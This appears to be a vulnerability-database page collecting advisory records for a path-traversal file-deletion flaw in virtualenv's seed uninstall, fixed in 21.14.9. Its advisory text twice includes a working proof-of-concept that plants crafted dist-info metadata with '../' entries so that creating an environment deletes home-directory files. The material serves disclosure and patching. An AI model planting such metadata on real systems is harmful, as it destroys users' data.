record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "BREW-virtualenvwrapper-CVE-2026-113719",
"modified": "2026-10-27T03:25:42Z",
"published": "2026-10-26T10:12:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths",
"upstream": [
"GHSA-hhxq-47xx-j5xx",
"CVE-2026-113719"
]
}
FKIE_CVE-2026-113719
Vulnerability from fkie_nvd - Published: 2026-10-20 20:17 - Updated: 2026-10-27 11:17
Severity
Summary
virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user's permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f | ||
| security-advisories@github.com | https://github.com/pypa/virtualenv/pull/3428 | ||
| security-advisories@github.com | https://github.com/pypa/virtualenv/releases/tag/21.14.9 | ||
| security-advisories@github.com | https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx | ||
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx |
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "virtualenv",
"vendor": "pypa",
"versions": [
{
"status": "affected",
"version": "\u003c 21.14.9"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user\u0027s permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9."
}
],
"id": "CVE-2026-113719",
"lastModified": "2026-10-27T11:17:28.280",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 4.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.0,
"impactScore": 3.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-113719",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-27T11:01:18.774578Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-20T20:17:18.347",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-22"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-HHXQ-47XX-J5XX
Vulnerability from github – Published: 2026-10-23 22:19 – Updated: 2026-10-23 22:19
VLAI
Summary
virtualenv: Seed replacement does not contain metadata deletion paths
Details
Summary
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.
Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Removal of a previously installed seed package.
Attacker-controlled input
An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.
Affected code
The relevant 21.14.8 source is in seed uninstall.
Mechanism
Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.
Reproduction and evidence
The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.
The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.
Attack sequence
sequenceDiagram
participant A as Prepared .venv metadata
participant V as App-data seeder
participant P as site-packages
participant H as User home
A->>P: top_level.txt names ../../../../../Documents
A->>P: RECORD names ../../../../../notes.txt
V->>P: read pip-1.0.dist-info before reinstall
P->>H: join entries without containment check
V->>H: remove Documents and notes.txt
V-->>A: virtualenv exits successfully
Reproducer files
The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")
def make_home(name):
home = work / name
(home / "Documents" / "thesis").mkdir(parents=True)
(home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
(home / "notes.txt").write_text("my notes\n")
return home
def unpack_attacker_project(home, top_level_line, record_line):
subprocess.run(
[sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
check=True,
)
def user_runs_virtualenv(home):
# HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
result = subprocess.run(
["virtualenv", "--no-periodic-update", ".venv"],
cwd=home / "project",
env={**os.environ, "HOME": str(home)},
stdout=subprocess.PIPE,
text=True,
check=True,
)
print(result.stdout, end="")
def files_left(home):
return [f for f in USER_FILES if (home / f).exists()]
# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")
# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")
# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
repro.d/make_project_tree.py
#!/usr/bin/env python3
import sys
from pathlib import Path
project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]
project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")
# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
dist_info.mkdir(parents=True)
(dist_info / "top_level.txt").write_text(top_level_line + "\n")
(dist_info / "RECORD").write_text(record_line + "\n")
Impact
Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.
Fix: PR #3428.
Known mitigation
Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.
Severity
4.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "virtualenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.14.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113719"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T22:19:15Z",
"nvd_published_at": "2026-10-20T20:17:18Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user\u0027s home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user\u0027s permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 20.8.1.\n[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root\nand refuses to delete the root itself.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared .venv metadata\n participant V as App-data seeder\n participant P as site-packages\n participant H as User home\n A-\u003e\u003eP: top_level.txt names ../../../../../Documents\n A-\u003e\u003eP: RECORD names ../../../../../notes.txt\n V-\u003e\u003eP: read pip-1.0.dist-info before reinstall\n P-\u003e\u003eH: join entries without containment check\n V-\u003e\u003eH: remove Documents and notes.txt\n V--\u003e\u003eA: virtualenv exits successfully\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-seed-uninstall\")\nshutil.rmtree(work, ignore_errors=True)\nUSER_FILES = (\"Documents/thesis/chapter1.txt\", \"notes.txt\")\n\n\ndef make_home(name):\n home = work / name\n (home / \"Documents\" / \"thesis\").mkdir(parents=True)\n (home / \"Documents\" / \"thesis\" / \"chapter1.txt\").write_text(\"months of work\\n\")\n (home / \"notes.txt\").write_text(\"my notes\\n\")\n return home\n\n\ndef unpack_attacker_project(home, top_level_line, record_line):\n subprocess.run(\n [sys.executable, \"/tmp/repro.d/make_project_tree.py\", home / \"project\", top_level_line, record_line],\n check=True,\n )\n\n\ndef user_runs_virtualenv(home):\n # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline\n result = subprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \".venv\"],\n cwd=home / \"project\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n text=True,\n check=True,\n )\n print(result.stdout, end=\"\")\n\n\ndef files_left(home):\n return [f for f in USER_FILES if (home / f).exists()]\n\n\n# control: the project ships well-formed pip metadata\ncontrol_home = make_home(\"control\")\nunpack_attacker_project(control_home, \"pip\", \"pip/__init__.py,,\")\nuser_runs_virtualenv(control_home)\ncontrol_left = files_left(control_home)\nprint(f\"CONTROL user files still in ~ after virtualenv: {control_left}\")\n\n# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five \"..\" is ~\nattack_home = make_home(\"attack\")\nunpack_attacker_project(attack_home, \"../../../../../Documents\", \"../../../../../notes.txt,,\")\nprint(f\"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}\")\nuser_runs_virtualenv(attack_home)\nattack_left = files_left(attack_home)\nprint(f\"OBSERVED user files still in ~ after virtualenv: {attack_left}\")\n\n# check: creating an environment must never delete the user\u0027s files outside it\nprint(\"BUG\" if control_left == list(USER_FILES) and attack_left == [] else \"OK\")\n```\n\n**`repro.d/make_project_tree.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nfrom pathlib import Path\n\nproject = Path(sys.argv[1])\ntop_level_line = sys.argv[2]\nrecord_line = sys.argv[3]\n\nproject.mkdir(parents=True)\n(project / \"README\").write_text(\"Set up with: virtualenv .venv\\n\")\n\n# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim\u0027s Python is unknown\nfor minor in range(9, 16):\n dist_info = project / \".venv\" / \"lib\" / f\"python3.{minor}\" / \"site-packages\" / \"pip-1.0.dist-info\"\n dist_info.mkdir(parents=True)\n (dist_info / \"top_level.txt\").write_text(top_level_line + \"\\n\")\n (dist_info / \"RECORD\").write_text(record_line + \"\\n\")\n```\n\n## Impact\n\nSeed cleanup can delete files outside the environment or the environment root itself. The invoking user must have\ndeletion rights over those paths.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final\nlinks are removed without following their targets; parent links participate in containment checks.\n\nFix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428).\n\n## Known mitigation\n\nRecreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-SXOEHWP7.",
"id": "GHSA-hhxq-47xx-j5xx",
"modified": "2026-10-23T22:19:15Z",
"published": "2026-10-23T22:19:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113719"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3428"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Seed replacement does not contain metadata deletion paths"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…